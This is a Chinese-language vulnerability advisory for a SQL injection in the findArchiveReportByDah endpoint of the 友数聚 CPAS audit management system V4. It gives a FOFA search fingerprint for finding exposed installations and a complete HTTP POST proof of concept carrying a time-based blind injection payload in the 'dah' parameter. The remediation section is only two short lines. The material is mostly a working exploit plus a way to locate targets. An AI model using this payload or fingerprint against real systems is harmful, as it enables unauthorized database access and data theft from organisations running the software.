

友数聚CPAS审计管理系统V4 findArchiveReportByDah SQL注入漏洞

友数聚CPAS审计管理系统V4 findArchiveReportByDah SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

友数聚CPAS审计管理系统V4

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/cpasm4/static/cap/font/iconfont.css"

POC/EXP:

```
POST /cpasm4/cpasList/findArchiveReportByDah HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: text/plain, */*; q=0.01

dah=1' AND (SELECT * FROM (SELECT(SLEEP(5)))X) AND '1'='1
```



漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。